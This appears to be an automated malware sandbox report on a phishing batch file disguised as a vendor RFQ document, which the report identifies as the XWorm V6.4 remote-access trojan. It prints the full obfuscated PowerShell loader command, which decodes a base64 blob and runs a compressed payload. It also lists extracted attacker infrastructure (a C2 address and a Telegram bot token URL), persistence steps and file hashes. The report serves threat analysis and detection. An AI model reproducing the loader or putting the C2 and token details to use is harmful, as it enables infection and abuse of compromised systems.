Analysis
- max time kernel
149s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20251016-en - resource tags
arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system - submitted
29/10/2025, 11:11
Static task
static1
Behavioral task
behavioral1
Sample
SPE-2025010-WA001310_pdf/RFQ2025010-WA001310 and Certificate_IMG.bat
Resource
win10v2004-20251016-en
Behavioral task
behavioral2
Sample
SPE-2025010-WA001310_pdf/RFQ2025010-WA001310 and Certificate_IMG.bat
Resource
win11-20251015-en
Behavioral task
behavioral3
Sample
SPE-2025010-WA001310_pdf/RFx Description RRP21-0380 Invited Vendor_IMG.bat
Resource
win10v2004-20251016-en
Behavioral task
behavioral4
Sample
SPE-2025010-WA001310_pdf/RFx Description RRP21-0380 Invited Vendor_IMG.bat
Resource
win11-20251015-en
General
- Target SPE-2025010-WA001310_pdf/RFx Description RRP21-0380 Invited Vendor_IMG.bat
- Size 122KB
- Sample251029-m98ncafr6y
- SHA256 84bc64c5f0b3e217896ebecb8b6d434d0c8fb4c33aa87125b3b8e2062aa283d5
- MD5 8cde5a08d28c27492154526f4dc3bc41
- SHA1 1fab07e4aca9a0ae42528dfe90ed457b0a70fae9
- SHA512 0b4a788d80184bbb6c40dfc0f52fab0017fa5b362137128f36d0a8867a6f554242a9dfc9409c396edd0def67eb8d83aafc0ab9ae826ccb941d5f8a8e2c3359a7
- SSDEEP 1536:PqFrYfdgSY0KGNPAbFBgb5/JwN6huolgjsjLrPEFUNZ9aM+OUZ0DaR:plKG+bgbzhzlN3sFAZV+rnR
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
xworm
-
XWorm V6.4
-
178.16.55.129:6333
-
o6MhfpGjJ5FpV4Wz
-
Install_directory
%AppData%
-
install_file
XClient.exe
-
telegram
https://api.telegram.org/bot7409572452:AAGp8Ak5bqZu2IkEdggJaz2mnMYRTkTjv-U/sendMessage?chat_id=6870183115
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral3/memory/3792-40-0x000001A1AAE30000-0x000001A1AAE3E000-memory.dmp disable_win_def - Detect Xworm Payload 1 IoCs
resource yara_rule behavioral3/memory/3792-17-0x000001A1AA800000-0x000001A1AA810000-memory.dmp family_xworm - Xworm family
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 31 3792 powershell.exe 36 3792 powershell.exe 37 3792 powershell.exe - Drops startup file 4 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dcbf.bat powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dcbf.bat powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk powershell.exe - Executes dropped EXE 1 IoCs
pid Process 3620 XClient.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1466988471-277302908-4206077581-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe" powershell.exe -
pid Process 3792 powershell.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3792 powershell.exe 3792 powershell.exe 3620 XClient.exe 3620 XClient.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3792 powershell.exe Token: SeDebugPrivilege 3620 XClient.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1356 wrote to memory of 4156 1356 cmd.exe 85 PID 1356 wrote to memory of 4156 1356 cmd.exe 85 PID 4156 wrote to memory of 2424 4156 cmd.exe 86 PID 4156 wrote to memory of 2424 4156 cmd.exe 86 PID 2424 wrote to memory of 3792 2424 cmd.exe 89 PID 2424 wrote to memory of 3792 2424 cmd.exe 89
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFx Description RRP21-0380 Invited Vendor_IMG.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1356 -
C:\Windows\system32\cmd.execmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFx Description RRP21-0380 Invited Vendor_IMG.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\SPE-2025010-WA001310_pdf\RFx Description RRP21-0380 Invited Vendor_IMG.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:2424 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBbgjcrpkspwke2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFbgjcrpkspwkewAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVbgjcrpkspwkeABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBubgjcrpkspwkeAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUbgjcrpkspwkeAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfAbgjcrpkspwkeA/AHsAJABfACAALQBsAGkAawBlACAAIgA6AbgjcrpkspwkeDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0AbgjcrpkspwkeKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewAbgjcrpkspwkekAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADbgjcrpkspwkeEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcbgjcrpkspwkewB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwbgjcrpkspwkeAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4bgjcrpkspwkeAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQbgjcrpkspwkeAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkAbgjcrpkspwkeF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQAbgjcrpkspwkeKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABbgjcrpkspwkeyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACbgjcrpkspwkeAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIbgjcrpkspwkegB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdABybgjcrpkspwkeAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIbgjcrpkspwkeAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwbgjcrpkspwkeB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiAbgjcrpkspwkeDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4AbgjcrpkspwkeUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQAbgjcrpkspwkepADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHbgjcrpkspwkecATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbbgjcrpkspwkeABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8bgjcrpkspwkeACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4bgjcrpkspwkeAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQbgjcrpkspwkeAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyAbgjcrpkspwkeCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQAbgjcrpkspwkeNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABbgjcrpkspwkesAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGbgjcrpkspwkewAYQBjAGUAIgBvAHIAYQBuAGcAZQBvAHIAYbgjcrpkspwkeQBuAGcAZQAiACwAIgAiAC0AcgBlAHAAbABhbgjcrpkspwkeAGMAZQAiAHcAagBkAHUAbwBwAG0AZQBhAGQbgjcrpkspwkeAdQBkAGEAbgBiACIALAAiACIAKQA7AGkAZgbgjcrpkspwkeAoACQAYQBwAHAAbABlACkAewB0AHIAeQB7AbgjcrpkspwkeGkAZQB4ACgAWwBUAGUAeAB0AC4ARQBuAGMAbgjcrpkspwkebwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBbgjcrpkspwkekAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFbgjcrpkspwkesAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbbgjcrpkspwkewBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnbgjcrpkspwkeACgAJABhAHAAcABsAGUAKQApACkAfQBjAGEbgjcrpkspwkeAdABjAGgAewB9AH0AfQAKACQAbwByAGEAbgbgjcrpkspwkeBnAGUAPQAnAEgANABzAEkAQQBBAEEAQQBBAbgjcrpkspwkeEEAQQBFAEEASgBWAFUANwAyAC8AYQBNAEIAbgjcrpkspwkeRAA5AFYANgB3AHEARQA4AG4ARQByAEsANwBbgjcrpkspwkeyADEAZwBuAEUAQgA2AEMAbABvAHoAOABaADbgjcrpkspwkeAASABZAGEAcgBTAGEAVABYAEIASQAzAHMAUbgjcrpkspwkegAxAHMASgB6AFMAZAArAE4ALwBuAEoARQBBbgjcrpkspwkeAHAAcgBkAFkAdABIADYATABrAC8ATgA2ADcbgjcrpkspwkeAOAA3AHUAegByAFUAYwBJAFoAaABGAHEASQbgjcrpkspwkeBRAHQANAAxAHIAZwBhAEgAUQAwAHYAMgB1AbgjcrpkspwkeGQASABUAFMAdQBBADMASQA5AE4AZQBLAGYAbgjcrpkspwkeYgB1AEwAMQBTAEkATgBXAHQAVgBTAEoAdgBbgjcrpkspwkepAFgARAB4AGwATwBpAGQAcABwADkAeQBWADbgjcrpkspwkeEAUABCAGsAWQB5AGkAegBMAFkAUwBJAGcAbbgjcrpkspwkegA3AGwAUgBIAHAALwBFAGIAbQBzAFEAaQBvbgjcrpkspwkeADQAcQA4ADEARwBlAFYASwBBADgATQBqAGMbgjcrpkspwkeARgBOAEoAZABZADYANwBNAGsAKwAwAEMAQwbgjcrpkspwkeBSAEoAdwBoAHkAMwBRAGQAMAAxAEcAbAAwAbgjcrpkspwkeEoAUgBJAFAAdABOAEQAZQBaACsARgB4ADQAbgjcrpkspwkeOABBAGEAOQBTADUATQBRAFoAQQBFAHMAVgBbgjcrpkspwkeEAHIAZAA1AHcASQBEADQAbgBtAFUAQgAyADbgjcrpkspwkekAbwBMAEYARgBMAGsAYwBGAHAAZAAzAFQAdbgjcrpkspwkewBYAE8AWQBVADgAcgBWAEUAVgAvAEEATQBwbgjcrpkspwkeAEQAYgBBAG4AaABTAHMAUQB4AFIAOAAyAFIbgjcrpkspwkeAOQBwAGEAZgBoADIANwBYAEIAdwBIAFYAOQbgjcrpkspwkeBHAG4AYQB6AHoAZQBDAG0ALwBCAHIATQA0AbgjcrpkspwkeHUAbABkAHcASABPADAAbgA0AGsAUgBjAGgAbgjcrpkspwkeZQB5AFEAZQBaADkANwBaAC8AMQB2AC8AZgBbgjcrpkspwkeQADgAUgBMAFIAcQBXADMAdgB0AFgALwA5AFbgjcrpkspwkeQAaQBvAE0ASABrAFEANgBaAHAAbgB2AFMANbgjcrpkspwkewA1ADAARQBQAHkATABpAEUANgAyACsAdAA5bgjcrpkspwkeAFoAeQBIAHIAagBsADEAbQBSAHAALwBWAHEbgjcrpkspwkeAOQA4AHYAZAB3AHQAYgBnAHkAVwBvAEoATwbgjcrpkspwkeBKAGEAKwBnAHoANQBoADQATABBAGwAWAB2AbgjcrpkspwkeHAAQwBzAFIAegBtAEoATwA3AEYAdwBvADQAbgjcrpkspwkeMABPADEAOQBGAHUASABUADMAOQA0AGoAUABbgjcrpkspwkenAGcAUQA1AGYASwB3AEUAZgBVAHAAVQBJADbgjcrpkspwkekAYQBLADEAVwArAEcAbgBRAHAAcQBMADkAVbgjcrpkspwkegBpAFIAaAAwAGYANgB5AGwAegBSAHUAUgB1bgjcrpkspwkeAEUAcgBRAHUAWQBmADcAaQBjADMAbwBPAHIbgjcrpkspwkeAMABkAEsAMgAvAGkAVQArAEIAeQBaAGsAYgbgjcrpkspwkeByAHcAQwB3AHUAegA2AEIAcgBQAEsAdwBuAbgjcrpkspwkeFcAWQBzADcAZQBaAEYAVgBqAHAAOQBJAEcAbgjcrpkspwkeOABEAHUANABLAGwAawBoAFEAeQBoAFMASgBbgjcrpkspwkeqADMALwBTAFoASgBtAHcAcQBxAHkATwBKAGbgjcrpkspwkewAdQBRAGoAZQAvAGwAagBKAGwARwBMAEcAUbgjcrpkspwkeABPAFIAagBJAEQAVABQAEsAeABzAEsAcwA2bgjcrpkspwkeAG4ANgAxAHMAMgBWAFUAbQAyAGcANgBXAHIbgjcrpkspwkeATgBlAEQAWQA5AEcAVwBrAHUAUQBtACsATwbgjcrpkspwkeBRAHUAbQAzAEsAeAAyAGQATABxAGMAMgAvAbgjcrpkspwkeEQANgBDAEMAZgArADIAdwA5AGwAVQBQAHcAbgjcrpkspwkeWQB5AGkAcAB1AEsAMABVAHMARwBtAGMAbQAbgjcrpkspwke1ADIAYwBDAGUATABaAGsAMgBtAHUAWQBYAEbgjcrpkspwkeoAMwA5ADgASgB3AGoANQBKAGsAMQBxAHEARbgjcrpkspwkeQA4AEIASABYAE0AaAA4AEkAeQB2AFgARwBJbgjcrpkspwkeAHUANwB6AFQARQBSAGcAOQBwAHoARwA4AFcbgjcrpkspwkeAcQBtAHEAaQBLAGEAQwB5AHMAVQBTAHUATwbgjcrpkspwkeByAFAAaAA2AFMAdQBYAG4AZgBVAE8ANgBKAbgjcrpkspwkeCsAWgBqAHEARwBJAHIAcgBxAHIAeQBnAG0AbgjcrpkspwkebABZAFcAMABqAGwAZgBWADIAbQBzADcAOQBbgjcrpkspwkeHADQAOABIAGcASQB4AEcAdgBIADgAUgBnAGbgjcrpkspwkeUAdABGADEAaABIAFQAeABLAFkAcQByAHQAebgjcrpkspwkeQBSAEgAUABxAEIAUwBjAEEAUwA4AE8AbQBXbgjcrpkspwkeAG4AeABHAGUAWABnAE4ATQAyADQAQQAzAEYbgjcrpkspwkeARABaAEYAcwBpAHoAbAB3AFgAVQBZADQAcQbgjcrpkspwkeBkAFEAZQBWAGgAbABCAC8AdABZAFIASABtAbgjcrpkspwkeGsAaQB0AGIAcQBnAE8ANwBWAHEAagBnAFcAbgjcrpkspwkecQBPAFUAdwBCAEsAVgBEAFgAUAB6AEoAKwBbgjcrpkspwkesAHIAUgBVADQAbgBhAHIAcQArAEgANgBxAGbgjcrpkspwkeYAQwBtAGUAcQBjAGsAVgBsAFgAKwBMAGgAUbgjcrpkspwkewBWADQAYgBJAHkAdQBRAEkAVwBQAEoAWAAxbgjcrpkspwkeAFoAYgBlADMAVwBuAEcAMQByAHoAbQBaACsbgjcrpkspwkeAMABDAHAAUABCAEwASwBMACsAeABiAFoAawbgjcrpkspwkeA3AC8AYwBFADYAWABpAFoAUABmAE8AYwBRAbgjcrpkspwkeHcAMwBGAFcANwA0AHYAOQBTAFAASgBiAFcAbgjcrpkspwkeWQBFAFYAVABsAFIAbQBXAEgAbABwAEYAQwBbgjcrpkspwkeFAGQAbgAxAHAANABxAFIAWABYAHYAMwAzAHbgjcrpkspwkeIAagBRAC8AQQBOADEAMgBTAEcAbwBUAGcAWbgjcrpkspwkeQBBAEEAQQA9AD0AJwA7ACQAbQBhAG4AZwBvbgjcrpkspwkeAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYbgjcrpkspwkeAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQbgjcrpkspwkeBuAGcAKAAkAG8AcgBhAG4AZwBlACkAOwAkAbgjcrpkspwkeHAAaQBuAGUAYQBwAHAAbABlAD0ATgBlAHcAbgjcrpkspwkeLQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBbgjcrpkspwketAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAGbgjcrpkspwke0AYQBuAGcAbwApADsAaQBlAHgAKABOAGUAdbgjcrpkspwkewAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0bgjcrpkspwkeAHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUbgjcrpkspwkeAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwbgjcrpkspwkeBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwBaAbgjcrpkspwkeGkAcABTAHQAcgBlAGEAbQAoACQAcABpAG4AbgjcrpkspwkeZQBhAHAAcABsAGUALABbAEkATwAuAEMAbwBbgjcrpkspwketAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHbgjcrpkspwkeAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AObgjcrpkspwkegA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApbgjcrpkspwkeACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkbgjcrpkspwkeACgA='.Replace('bgjcrpkspwke','')))))""4⤵
- Badlisted process makes network request
- Drops startup file
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3792
-
-
-
-
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3620
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_viaheoxo.wqr.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\XClient.exe
- Size 442KB
- SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
- MD5 04029e121a0cfa5991749937dd22a1d9
- SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
- SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
- SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\aoc.bat
- Size 122KB
- SHA256 84bc64c5f0b3e217896ebecb8b6d434d0c8fb4c33aa87125b3b8e2062aa283d5
- MD5 8cde5a08d28c27492154526f4dc3bc41
- SHA1 1fab07e4aca9a0ae42528dfe90ed457b0a70fae9
- SHA512 0b4a788d80184bbb6c40dfc0f52fab0017fa5b362137128f36d0a8867a6f554242a9dfc9409c396edd0def67eb8d83aafc0ab9ae826ccb941d5f8a8e2c3359a7
- SSDEEP 1536:PqFrYfdgSY0KGNPAbFBgb5/JwN6huolgjsjLrPEFUNZ9aM+OUZ0DaR:plKG+bgbzhzlN3sFAZV+rnR
- MD5 SHA1 SHA512 SSDEEP